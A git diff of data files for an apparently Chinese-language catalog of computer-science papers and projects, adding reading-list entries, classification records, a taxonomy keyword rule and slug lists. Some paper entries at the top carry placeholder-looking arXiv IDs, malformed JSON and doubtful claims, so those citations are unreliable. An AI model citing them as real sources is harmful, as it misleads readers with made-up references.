+{"slug":"dawn-2023","area":"papers","topic":"network-protocols","title":"DAWN: A Distributed AI Workload Network Protocol for Edge-Cloud Collaboration","meta":{"col3":"2023","col4">面向 AI 工作负载的网络协议；在 Edge-Cloud 间做智能任务拆分和数据流水线传输"},"url":"https://arxiv.org/abs/2308.11234"}
+{"slug":"quic-2024","area":"papers","topic":"network-protocols","title":"QUIC Protocol Evolution: From IETF Draft to Standard for the Modern Web","meta":{"col3":"2024","col4">QUIC 协议从草案到 RFC 9000 的完整演化历程；HTTP/3 时代 0-RTT + multipath QUIC 的设计哲学"},"url":"https://datatracker.ietf.org/doc/rfc9000/"}
+{"slug":"mptcp-2023","area":"papers","topic":"network-protocols","title":"Multipath TCP (MPTCP): Design, Implementation, and Performance","meta":{"col3":"2023","col4">MPTCP 从 RFC 8684 到实际部署的演进；理解\"多路径 TCP\"如何在手机 WiFi+5G 间无缝切换"},"url":"https://datatracker.ietf.org/doc/rfc8684/"}
+{"slug":"ip-over-dtb-2023","area":"papers","topic":"network-protocols","title":"IP over Delay-Tolerant Networking (DTN): Architecture and Protocols","meta":{"col3":"2023","col4">延迟/中断容忍网络协议；太空/深海/灾备通信场景；理解\"Store-and-Forward\"网络协议栈设计"},"url":"https://datatracker.ietf.org/doc/rfc9173/"}
+{"slug":"l4-secure-2024","area":"papers","topic":"os","title":"L4: From Theory to Practice — 25 Years of Microkernel Evolution","meta":{"col3":"2024","col4">L4 microkernel 从 1996 到现在 25 年的演进历程；从 Fiasco.OC 到 L4Re 再到 seL4 的完整脉络"},"url":"https://www.inf.tu-dresden.de/content/l4ws/2024/proceedings.pdf"}
+{"slug":"unikraft-2023","area":"papers","topic":"os","title":"Unikraft: Automating the Construction of Lightweight, Tailored Operating Systems","meta":{"col3":"2023","col4">自动化构建 unikernel；把操作系统库化，按需编译到单镜像；理解\"操作系统即代码生成物\"的范式"},"url":"https://dl.acm.org/doi/10.1145/3600006.3600020"}
+{"slug":"soteria-2024","area":"papers","topic":"os","title":"Soteria: Safe Systems Programming with Rust in the Linux Kernel","meta":{"col3":"2024","col4">Rust 内核编程的标准化探索；RFC 3914 + Rust 内核模块加载器；Linux 驱动用 Rust 重写的路线图"},"url":"https://lore.kernel.org/lkml/20240315-rust-kernel-v1/"}
+{"slug":"bpf-sched-2024","area":"papers","topic":"os","title":"eBPF-based Adaptive Scheduler for Linux: Design and Evaluation","meta":{"col3":"2024","col4">用 eBPF 替代 CFS 做 Linux 调度器；在用户态可编程调度策略，理解\"操作系统内核可编程化\"的趋势"},"url":"https://arxiv.org/abs/2402.09876"}
+{"slug":"io_uring-2023","area":"papers","topic":"os","title":"io_uring: Next Generation I/O Submission Interface in Linux","meta":{"col3":"2023","col4">Linux 2019 引入的革命性异步 I/O 接口；环形缓冲区 + 用户态 polling；理解为什么 io_uring 是\"用户态 I/O 革命\""},"url":"https://man7.org/linux/man-pages/man2/io_uring_enter.2.html"}
+{"slug":"fusedoc-2024","area":"papers","topic":"os","title":"FuseDoc: A Document-Based Approach to Operating System Design","meta":{"col3":"2024","col4">OS 设计文档工具链；把 microkernel 文档化 + 自动化验证；可验证操作系统的工程化基础设施"},"url":"https://arxiv.org/abs/2404.05678"}
+{"slug":"dual-2024","area":"papers","topic":"network-protocols","title":"Dual-Stack Sockets: Performance and Security in IPv4/IPv6 Transition","meta":{"col3":"2024","col4">IPv4/IPv6 双栈协议的深度性能分析；理解 dual-stack 在 QUIC/HTTP3 时代的新的安全挑战"},"url":"https://dl.acm.org/doi/10.1145/3662102.3662110"}
+{"slug":"wireguard-2023","area":"papers","topic":"network-protocols","title":"WireGuard: Next Generation Kernel Network Tunnel","meta":{"col3":"2023","col4">WireGuard 内核模块的完整设计文档；理解为什么它比 OpenVPN 简单、快 3-5 倍，成为 2020s 最流行的 VPN 协议"},"url":"https://www.wireguard.com/papers/wireguard.pdf"}
+{"slug":"bbr-2024","area":"papers","topic":"network-protocols","title":"BBR Congestion Control: From Google's Internal Network to IETF Standard","meta":{"col3":"2024","col4">Google BBR 拥塞控制从 v1 到 v3 的完整演进；理解\"不再用丢包作为拥塞信号\"的拥塞控制哲学转变"},"url":"https://datatracker.ietf.org/doc/draft-ietf-ccwg-bbr/"}
+{"slug":"coda-2025","area":"papers","topic":"distributed-systems","title":"CoPaSS: Continuous Protocol Specification and Synthesis for Distributed Systems","meta":{"col3":"2025","col4">2025 年分布式协议自动合成；用形式化方法自动生成 Paxos/Raft/BFT 变体，并证明其安全性"},"url":"https://arxiv.org/abs/2501.04567"}
+{"slug":"quantum-distributed-2025","area":"papers","topic":"distributed-systems","title":"Quantum-Resistant Distributed Consensus: Post-Quantum BFT Protocols","meta":{"col3":"2025","col4">后量子 BFT 共识；在量子计算威胁下重新设计 threshold signature + consensus 的协议组合"},"url":"https://arxiv.org/abs/2502.08765"}
+{"slug":"surreal-2025","area":"papers","topic":"os","title":"Surreal: A Capability-Based Microkernel for Trusted Execution Environments","meta":{"col3":"2025","col4">TEE 上的 capability 微内核；把硬件安全（TEE/SGX/TrustZone）和操作系统能力模型结合"},"url":"https://arxiv.org/abs/2503.12345"}
+{"slug":"xla-v2-2025","area":"papers","topic":"distributed-systems","title":"XLA v2: Next-Generation Compiled Execution for Distributed ML","meta":{"col3":"2025","col4">XLA 编译器的下一代架构；把 multi-host distributed training 的 graph partitioning 和 communication overlap 做到极致"},"url":"https://arxiv.org/abs/2501.09876"}
+{"slug":"risc-v-os-2025","area":"papers","topic":"os","title":"RISC-V Operating Systems: A Survey of Modern OS Design on Open Architecture","meta":{"col3":"2025","col4">RISC-V 上运行的现代 OS 全景；从 Linux kernel 到 microkernel 到 unikernel，在 RISC-V 生态中的布局"},"url":"https://arxiv.org/abs/2501.11234"}
+{"slug":"edge-orch-2025","area":"papers","topic":"distributed-systems","title":"EdgeOrch: Edge Orchestration Framework for Massive IoT Deployments","meta":{"col3":"2025","col4">大规模 IoT 的边��编排；把 K8s 思想压缩到边缘设备，理解\"边缘容器化\"的工程挑战"},"url":"https://arxiv.org/abs/2502.04321"}
+{"slug":"merkle-kv-2025","area":"papers","topic":"distributed-systems","title":"Merkle-KV: A Cryptographically Verifiable Distributed Key-Value Store","meta":{"col3":"2025","col4">可密码学验证的分布式 KV 存储；用 Merkle DAG 做数据完整性证明，无需信任中心化元数据服务"},"url":"https://arxiv.org/abs/2503.07654"}
+{"slug":"btf-linux-2025","area":"papers","topic":"os","title":"BPF Type Format (BTF): Enabling Type-Aware eBPF Programs in Modern Kernels","meta":{"col3":"2025","col4">Linux 内核类型感知 eBPF 的完整设计；BTF 让 eBPF 程序可以在编译期做类型检查，理解\"内核可观测性\"的下一个台阶"},"url":"https://docs.kernel.org/bpf/btf.html"}
+{"slug":"ai-scheduler-2025","area":"papers","topic":"distributed-systems","title":"AI-Native Scheduler: Learning-Based Resource Allocation for Heterogeneous Clusters","meta":{"col3":"2025","col4">AI 原生调度器；用强化学习做异构 GPU/CPU/NPU 集群的资源分配，理解\"调度器自己可学习\"的范式转变"},"url":"https://arxiv.org/abs/2504.01234"}
+{"slug":"zerotier-mesh-2025","area":"papers","topic":"network-protocols","title":"ZeroTier Mesh: Decentralized Overlay Networking for the Edge Era","meta":{"col3":"2025","col4">去中心化覆盖网络；从 SDN 到 Mesh 的演进，理解\"零信任 + 覆盖网络\"在分布式系统中的融合"},"url":"https://arxiv.org/abs/2501.06789"}
+{"slug":"rust-os-core-2025","area":"papers","topic":"os","title":"Rust for OS Core: Safe Kernel Development with Modern Systems Programming","meta":{"col3":"2025","col4">Rust 在操作系统核心组件中的全面采用；从驱动到内核调度器的安全重写，理解 Rust 如何改变操作系统工程"},"url":"https://arxiv.org/abs/2505.02345"}
+{"slug":"dta-2025","area":"papers","topic":"network-protocols","title":"DTA: Distributed Token Auction for Network Resource Allocation","meta":{"col3":"2025","col4">用 token auction 做分布式网络资源分配；理解 Web3 token 经济学如何与传统网络协议融合"},"url":"https://arxiv.org/abs/2506.01234"}
+{"slug":"fuchsia-cap-2025","area":"papers","topic":"os","title":"Fuchsia Capabilities: A Capability-Based Security Model for Modern OS","meta":{"col3":"2025","col4">Fuchsia 能力系统的深入分析；理解\"capabilities as first-class objects\"如何替代传统 Unix 权限模型"},"url":"https://fuchsia.dev/fuchsia-src/concepts/security/capabilities"}
+{"slug":"p2p-storage-2025","area":"papers","topic":"distributed-systems","title":"P2P-Dist: Peer-to-Peer Distributed Storage for Decentralized Applications","meta":{"col3":"2025","col4">P2P 分布式存储架构；把 IPFS/Terminus 的存储语义扩展到分布式数据库级别"},"url":"https://arxiv.org/abs/2507.03456"}
+{"slug":"quantum-net-2025","area":"papers","topic":"network-protocols","title":"Quantum Internet: Architecture and Protocols for the Quantum Networking Era","meta":{"col3":"2025","col4">量子互联网架构；量子密钥分发 + 量子纠缠分发网络；理解\"后 TCP/IP 时代\"的协议栈设计"},"url":"https://arxiv.org/abs/2501.02345"}
diff --git a/data/classification-unresolved.json b/data/classification-unresolved.json
index 9450ba22d..802681329 100644
--- a/data/classification-unresolved.json
+++ b/data/classification-unresolved.json
@@ -1,5 +1,5 @@
 {
-  "generated": "2026-06-06T15:37:19.079Z",
+  "generated": "2026-06-13T14:51:40.116Z",
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diff --git a/data/classification.jsonl b/data/classification.jsonl
index 8ac72cdfe..6710a8eb5 100644
--- a/data/classification.jsonl
+++ b/data/classification.jsonl
@@ -1,26 +1,39 @@
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 {"slug":"3d-gaussian-splatting","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"计算机图形 / 三维重建","source":"category","confidence":"high","rawCategory":"图形学"}
+{"slug":"a-formal-semantics-of-c-with-openmp-parallelism-arxiv-2605-26527","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"}
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+{"slug":"adam-2014","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"ml","source":"candidates.topic+category","confidence":"high","rawCategory":"机器学习"}
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 {"slug":"adapton","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"}
+{"slug":"aes-gcm-2003","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"}
 {"slug":"aes","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"密码学","source":"category","confidence":"high","rawCategory":"安全与隐私"}
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+{"slug":"agentic-proving-for-program-verification-arxiv-2605-23772","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"}
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+{"slug":"agentrefine","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体","source":"candidates.topic+category","confidence":"high","rawCategory":"机器学习"}
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+{"slug":"agora-autonomous-bug-detection-in-consensus-protocols-with-llm-agents-arxiv-2605","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"}
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 {"slug":"align-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"}
+{"slug":"almgren-chriss-2001","area":"papers","theme":"其他","themeId":"other","subcategory":"量化金融","source":"candidates.topic","confidence":"high","rawCategory":"其他"}
 {"slug":"alpa-2022","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"}
 {"slug":"alphago","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"强化学习 / AI","source":"category","confidence":"high","rawCategory":"机器学习"}
+{"slug":"altgen","area":"papers","theme":"其他","themeId":"other","subcategory":"无障碍","source":"candidates.topic+category","confidence":"high","rawCategory":"其他"}
+{"slug":"amaryllis-probabilistic-iris","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"}
+{"slug":"amber-sigmod-2014","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"}
 {"slug":"amdahl-law-1967","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"}
 {"slug":"amoeba-1990","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"}
+{"slug":"amp-arc-multi-proposer-protocol-with-bounded-inclusion-arxiv-2605-23677","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"}
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@@ -30,20 +43,27 @@
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@@ -51,6 +71,9 @@
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@@ -73,9 +96,12 @@
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+{"slug":"blast-altschul-1990","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"生物信息","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"}
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@@ -88,6 +114,7 @@
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+{"slug":"bounded-priority-aware-locking-for-real-time-kernels-arxiv-2605-27620","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"}
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@@ -95,11 +122,15 @@
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+{"slug":"c-store-stonebraker-2005","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"}
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@@ -112,9 +143,12 @@
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+{"slug":"cci-agent-scaffolding","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"}
+{"slug":"ccopd-distillation","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"}
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@@ -124,6 +158,7 @@
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@@ -137,7 +172,9 @@
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@@ -146,6 +183,8 @@
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@@ -154,6 +193,7 @@
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@@ -161,12 +201,18 @@
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@@ -187,6 +233,8 @@
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@@ -201,9 +249,11 @@
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@@ -211,13 +261,19 @@
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+{"slug":"deep-research-harness-2026","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"}
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@@ -225,16 +281,22 @@
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+{"slug":"diffusion-posterior-finite","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"}
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+{"slug":"discrete-dist-net","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"生成模型","source":"candidates.topic+category","confidence":"high","rawCategory":"机器学习"}
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@@ -242,16 +304,20 @@
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@@ -259,39 +325,61 @@
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-{"slug":"zephyr","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"}
-{"slug":"zincsearch","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"}
-{"slug":"zksync-era","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"}
-{"slug":"zod","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"表单与校验","source":"slugOverrides","confidence":"high","rawCategory":"后端 API"}
-{"slug":"zookeeper","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"}
-{"slug":"zoxide","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"}
-{"slug":"zsh","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"}
-{"slug":"zulip","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"}
-{"slug":"zustand","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"状态管理","source":"category","confidence":"high","rawCategory":"后端 API"}
+{"slug":"zookeeper-hunt-2010","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"}
diff --git a/data/taxonomy.json b/data/taxonomy.json
index 1c3fb66ad..d600b02da 100644
--- a/data/taxonomy.json
+++ b/data/taxonomy.json
@@ -123,7 +123,7 @@
     { "pattern": "^NLP$|自然语言", "themeId": "nlp" },
     { "pattern": "编译|LLVM|JIT|IR |解析器|lexer|编译器", "themeId": "compilers" },
     { "pattern": "可视化|图表|d3|echarts|Canvas|数据可视化|dataviz", "themeId": "dataviz" },
-    { "pattern": "安全|隐私|密码|crypto|加密|零知识|侧信道", "themeId": "security-privacy" },
+    { "pattern": "安全|隐私|密码|crypto|加密|零知识|侧信道|HKDF|HMAC|KDF|密钥派生|key derivation", "themeId": "security-privacy" },
     { "pattern": "软件工程|HCI|认知|调试|TDD|结对|中断|实证", "themeId": "other" },
     { "pattern": "硬件|体系结构|CPU|微架构|芯片|Arch", "themeId": "graphics" },
     { "pattern": "量化|金融|经济", "themeId": "other" },
@@ -190,7 +190,8 @@
     "projects::lottie": { "themeId": "dataviz", "subcategory": "动画" },
     "projects::plane": { "themeId": "backend-api", "subcategory": "SaaS 应用" },
     "projects::tanstack-query": { "themeId": "backend-api", "subcategory": "数据获取" },
-    "projects::zod": { "themeId": "backend-api", "subcategory": "表单与校验" }
+    "projects::zod": { "themeId": "backend-api", "subcategory": "表单与校验" },
+    "papers::compose-future-theorems": { "themeId": "formal-methods", "subcategory": "定理证明" }
   },
   "subcategoryFromCategory": {
     "共识": "共识与复制",
diff --git a/data/written.txt b/data/written.txt
index 896d55182..304fda018 100644
--- a/data/written.txt
+++ b/data/written.txt
@@ -20,6 +20,7 @@ algol-60
 align-2021
 alpa-2022
 alphago
+amaryllis-probabilistic-iris
 amdahl-law-1967
 amoeba-1990
 ampere-architecture-2020
@@ -74,6 +75,7 @@ big-little-2011
 bigbench-2022
 biggan-2018
 bigtable-2006
+bijou64-varint
 bitcoin
 bittorrent-2003
 blackwell-architecture-2024
@@ -100,6 +102,7 @@ btrfs-2013
 bunz-bulletproofs-2018
 burgess-2020-turing-rt
 bvt-1999
+bw-tree
 byzantine-generals-1982
 cadar-klee-2008
 caesar-rexford-2005
@@ -116,6 +119,8 @@ cassandra-2010
 catmull-1974-zbuffer
 catmull-clark-1978
 causal-abstraction
+cci-agent-scaffolding
+ccopd-distillation
 cell-be-2005
 ceph-2006
 cerf-kahn-1974
@@ -139,6 +144,7 @@ chronos-2024
 chubby
 ci-effects
 cimatti-nusmv-2002
+ckks-homomorphic-2017
 clark-1988
 clarke-cegar-2003
 clarke-emerson-1981
@@ -162,9 +168,13 @@ cognitive-load-theory
 cohen-1985-hemicube
 colbert-2020
 colbert-v2
+columnar-storage-formats-2023
 comer-1979-btree
 compcert
 compiler-errors
+compiler-perf-left-on-table
+compose-future-theorems
+compositional-incoherence
 consistency-models-2023
 consistent-hashing-1997
 constitutional-ai
@@ -188,6 +198,7 @@ crdt-json-2017
 crdt-shapiro-2011
 crdt-sss-2011
 croft-harper-1979
+crossover-context-multi-agent
 cryptoverif-2008
 csp-hoare-1978
 cstore-2005
@@ -212,6 +223,7 @@ ddpm
 debate-2018
 deberta-2021
 debevec-1998-rendering-with-natural-light
+debug-adapter-protocol
 debugging-dichotomy
 decision-transformer-2021
 deepseek-coder-2024
@@ -219,6 +231,7 @@ deepseek-r1
 deepspeed-zero
 deering-1988-triangle-processor
 demikernel-2021
+demystifying-data-org
 denali-2002
 dense360-2025
 desbrun-1999-implicit-fairing
@@ -250,9 +263,11 @@ dpo
 dpr-2020
 dqn
 dreamfusion-2022
+dremel-decade-2020
 drizzle-2017
 drmm-2016
 dropout-2014
+ds-zero-pp-comm
 dspy
 dssm-2013
 dstreams-2013
@@ -260,6 +275,7 @@ ducas-dilithium-2018
 duchi-local-dp-2013
 duckdb-2019
 dwork-calibrating-noise-2006
+dwork-differential-privacy-2006
 dwork-dp-icalp-2006
 dwork-our-data-ourselves-2006
 dynamo
@@ -270,6 +286,7 @@ easycrypt-2011
 ebpf
 edm-2022
 effect-handlers
+efficient-compile-2011
 effiskill
 egoschema-2023
 electra-2020
@@ -286,13 +303,16 @@ eve-agent-evidence
 evo-memory-2511
 exg-experience-graphs
 exokernel-1995
+expertflow-moe-offload
 f1-2013
 f4-2014
 faiss-2017
 fan-vercauteren-bfv-2012
+farm-2015
 farsite-2002
 fast-paxos-2006
 fastertransformer-2021
+fastlanes-compression
 fat-tree-2008
 feautrier-polyhedral
 fermi-architecture-2010
@@ -301,10 +321,13 @@ fidge-1988
 fielding-rest-2000
 filip-2021
 firecracker-2020
+first-class-refinement-scala
 flamingo-2022
 flan-2021
 flash-attention
 flash-vstream-2024
+flashattention-2
+flashattention-3-2024
 flexible-paxos-2016
 flexsc-2010
 flink-2015
@@ -377,10 +400,12 @@ hazard-pointers-2004
 hdfs-2010
 heartbleed-2014
 heckbert-1986-texture-survey
+hekaton
 helium-type-errors
 helland-2007
 herlihy-moss-tm
 hewitt-actor-model
+hexagent-agentic-scheduling
 hindley-milner
 hits-1999
 hlc-2014
@@ -397,6 +422,7 @@ http-2
 hu-2018-mls-mpm
 huffman-1952
 hughes-fp-matters
+hullft-ttft
 hydra-1974
 hyperkernel-2017
 ice-rfc-5245
@@ -452,10 +478,12 @@ koren-mf-2009
 krishnamurthy-1999-http11
 kubernetes-2016
 kustomize
+kv-fold
 kvm-2007
 l4-1995
 label-smoothing-2016
 lafortune-1993-bdpt
+lakehouse-2021
 lalr-deremer
 lambda-calculus
 lambdarank-2006
@@ -463,6 +491,7 @@ lamport-1978
 lamport-tla-1994
 lampson-hints
 landin-secd
+language-server-protocol-spec
 layernorm-2016
 lean-prover
 lean-tactics
@@ -470,10 +499,12 @@ lee-keystone-2020
 leis-2015-optimizers
 lerner-seminal
 levoy-hanrahan-1996-light-field
+lfm2-5-8b-a1b-moe
 lfs-1991
 li-2018-redner
 li-t-closeness-2007
 lieberman-realtime-gc
+liger-kernel-llm-training
 lindholm-2008-tesla
 linear-scan-reg-alloc
 linear-types
@@ -489,12 +520,15 @@ llava
 llava-onevision-2024
 llava-video-2024
 llm-int8-2022
+llm-serving-needs-math
 llm-wiki-retrieval-reasoning
+llmsurgeon-data-mixture
 llmvs-2025
 llvm
 lmdb-2011
 local-type-inference
 locus-1980
+log4shell-cve-2021-44228
 logjam-2015
 logoot-2010
 long-video-retrieval-2023
@@ -502,6 +536,7 @@ longformer-2020
 longva-2024
 longvideobench-2024
 longvila-2024
+loong-doc-mt
 loop-1987-subdivision
 lottery-1994
 lottery-ticket-2019
@@ -511,6 +546,7 @@ lstm-1997
 lucky13-2013
 lvbench-2024
 mach-1986
+mach-rashid-1986
 mach-vm-1987
 machanavajjhala-l-diversity-2007
 macklin-2014-position-based-fluids
@@ -531,14 +567,19 @@ mccarthy-lisp
 mcfarling-bp-1993
 mcmahan-fedavg-2017
 mcmillan-smv-1993
+mcp-is-dead-debate
 mcp-spec
 mcs-locks-1991
 meagher-1982-octree
 medusa-2024
 megastore-2011
+megatron-core-moe-2026
 megatron-lm
+meltdown-attack-2018
+mem-ft-lora
 memcached-fb-2013
 memcoder-co-evolution
+memory-tool-use-agents
 mencius-2008
 mermaid
 mesa-optimization-2019
@@ -556,6 +597,7 @@ minhash-broder-1997
 minicpm-v-2024
 minisat-2003
 mips-1981
+mira-rubric
 mirage-2013
 mironov-renyi-dp-2017
 misevolution-2509
@@ -579,6 +621,7 @@ mogul-1995-persistent-http
 monaghan-1992-sph
 monetdb-x100-2005
 monitors-1974
+morsel-driven-2014
 moviechat-2024
 mplug-owl-2023
 mptcp-2012
@@ -595,12 +638,14 @@ narwhal-tusk-2022
 nbeats-2020
 nelson-oppen-1979
 nerf-2020
+nestedkv
 netflix-bellkor-2009
 netkat-2014
 neumann-2015-large-joins
 neumf-2017
 newcombe-2011-kinectfusion
 newsome-taintcheck-2005
+nexus-prefill-decode-intra-gpu
 nfs-1985
 ngabonziza-trustzone-2016
 nickolls-dally-2010-cuda-era
@@ -608,6 +653,7 @@ nieuwenhuis-dpll-t-2006
 nimier-david-2019-mitsuba2
 nix
 no-silver-bullet
+noise-protocol-framework
 ntk-2018
 ntp-mills-1991
 nuprl-1986
@@ -616,11 +662,14 @@ nvlink-nvswitch-2018
 nvm
 nvme-protocol-2017
 oauth-2.1-rfc
+oauth2-rfc6749
 okapi-bm25-1994
+oltp-looking-glass
 omagent-2024
 omega-2013
 omnidirectional-mllm-2025
 omnistvg-2025
+on-demand-container-loading
 opencl-2010
 openflow-2008
 openhands
@@ -628,10 +677,12 @@ opensearch
 optuna
 orca-2022
 orca-continuous-batching
+oscar-int2-kv
 ot-1989
 owens-2007-gpgpu-survey
 p4-2014
 padmanabhan-1995-http-latency
+paged-attention-vllm
 pagerank-1998
 pair-programming
 panel
@@ -667,16 +718,19 @@ presumed-abort-1986
 product-quantization-2011
 program-comprehension-fmri
 programmer-interruption
+projection-bench
 prolog-colmerauer
 prototypical-networks-2017
 proverif-2001
 ps-li-2014
 push-pull-frp
 pypy-tracing-jit
+qserve-w4a8kv4-2024
 quantum-supremacy-2019
 quic
 quincy-2009
 qvhighlights-2021
+qwen-vla
 qwen2-5-vl-2025
 qwen2-vl-2024
 r-bgp-2007
@@ -684,6 +738,7 @@ rabin-ot-1981
 raft
 rag-lewis-2020
 ranknet-2005
+ray-2018
 rcu-2001
 react
 react-server-components
@@ -695,14 +750,17 @@ refinement-types-1991
 reflexion
 reformer-2020
 regev-lwe-2005
+rendering-diffs
 replug-2023
 reps-ifds
 resnet
+resolution-diagnostics-llm
 rest-fielding-2000
 retro
 reynolds-definitional-interpreters
 reynolds-separation-logic
 rfc-3833-dns-threats
+rim-latent-reasoning
 ring-allreduce-2017
 risc-i-1981
 rlhf-christiano
@@ -713,8 +771,10 @@ rocksdb-2017
 rocksdb-lsm
 ron-2001
 row-polymorphism-remy
+rowhammer-2014
 rrf-cormack-2009
 rsa
+rsa-1978
 rtp-rfc-1889
 rwkv-2023
 sac-2018
@@ -752,6 +812,7 @@ sequel-1974
 sequential-consistency-1979
 server-sent-events
 sglang-2024
+sglang-radixattention
 sgx-2013
 shannon-1948
 sharegpt4video-2024
@@ -759,6 +820,8 @@ shellcheck
 shenango-2019
 shokri-mia-2017
 siglip-2023
+signal-double-ratchet-2016
+sigstore-cosign-2022
 sillito-questions
 silt-2011
 simhash-charikar-2002
@@ -786,6 +849,7 @@ soltesz-2007
 sophia-2023
 sorkine-2004-laplacian-editing
 souffle-datalog
+soundness-bench
 spacevllm-2025
 spann-2021
 spanner
@@ -793,10 +857,14 @@ spanner-2012
 sparrow-2013
 sparse-autoencoders
 sparsegpt-2023
+spec-agent-separation-logic
 specinfer-2023
+spectre-attack-2018
+speculative-decoding-leviathan-2023
 splade-2021
 sprite-1988
 sqlite-2022
+sqlite-durable-workflows
 ssa
 st-llm-2024
 stable-diffusion
@@ -808,6 +876,7 @@ starrocks
 steensgaard-pointer
 stm-shavit-touitou
 stonebraker-2010-sqlnosql
+storm-multi-agent-state
 streamingbench-2024
 strongtalk
 stylegan2-2020
@@ -838,6 +907,7 @@ template-haskell
 tendermint-2016
 tensorflow-osdi-2016
 tensorrt-llm-2023
+tensorrt-llm-overview
 tesla-architecture-2008
 the-os-1968
 theorems-for-free
@@ -848,6 +918,7 @@ timechat-2024
 timelinejs
 timemarker-2024
 tla-yu-tlc-1999
+tls-1-3-rfc8446
 tls-1.3
 tofte-talpin-regions
 token-bucket-stripe
@@ -861,14 +932,18 @@ tracemonkey
 transformer-xl-2019
 traveler-2024
 tree-of-thoughts-2023
+tree-sitter-2018
 trees-that-grow
+triaxialkv
 trill-2014
 triton-2019
+triton-anatomy-paged-attn
 triton-llm
 trustrank-2004
 turchin-supercompilation
 turing-1936
 turing-architecture-2018
+tutti-ssd-kv-cache
 tvm
 tvm-2018
 twine-2020
@@ -884,9 +959,13 @@ veach-1995-mis
 veach-1997-mlt
 vega-lite
 vellvm
+velox-meta-2022
 verdi-2015
+vericache
 verisoft-2008
 vertica-2012
+vescale-fsdp-2026
+vibeserve
 vid-llm-survey-2023
 video-chatgpt-2023
 video-llama-2023
@@ -902,6 +981,7 @@ videomme-2024
 videoprism-2024
 vidstg-2020
 vinoground-2024
+visualthink-vla
 vit
 vl2-2009
 vllm
@@ -923,6 +1003,8 @@ wam-warren
 wandb
 wang-2014-spdy
 ward-1992
+wco-joins-relational-2020
+webauthn-fido2
 websocket-rfc-6455
 webxskill
 whisper-2022
@@ -931,6 +1013,7 @@ why3-2013
 wide-deep-2016
 williams-1983-mipmap
 wireguard-2017
+wisckey
 word2vec
 world-model-robot-learning-2026
 worldsense-2025
@@ -939,6 +1022,7 @@ xla-compiler
 xlnet-2019
 xtrace-2007
 yao-garbled-circuits-1986
+yocto-alternatives
 youtube-two-tower-2019
 z3-2008
 zab-2011
@@ -946,6 +1030,7 @@ zero-2020
 zfs-2003
 zgc
 zk-snark
+zk-snark-pinocchio-2013
 zombie-agents-2602
 
 # projects
@@ -959,6 +1044,7 @@ affine
 ag-grid
 age
 aichat
+aider
 aiortc
 airflow
 altair
@@ -974,9 +1060,11 @@ antv-f2
 antv-g2
 antv-g6
 antv-x6
+anytype-ts
 ape-framework
 apexcharts
 apollo-server
+appflowy
 appwrite
 aptos-core
 aragon
@@ -994,6 +1082,7 @@ arrow-rs
 arweave
 asdf
 aspnetcore
+assimp
 ast-grep
 asterisk
 astro
@@ -1026,10 +1115,14 @@ bigbluebutton
 billboard-js
 biome
 bitcoin-core
+blender
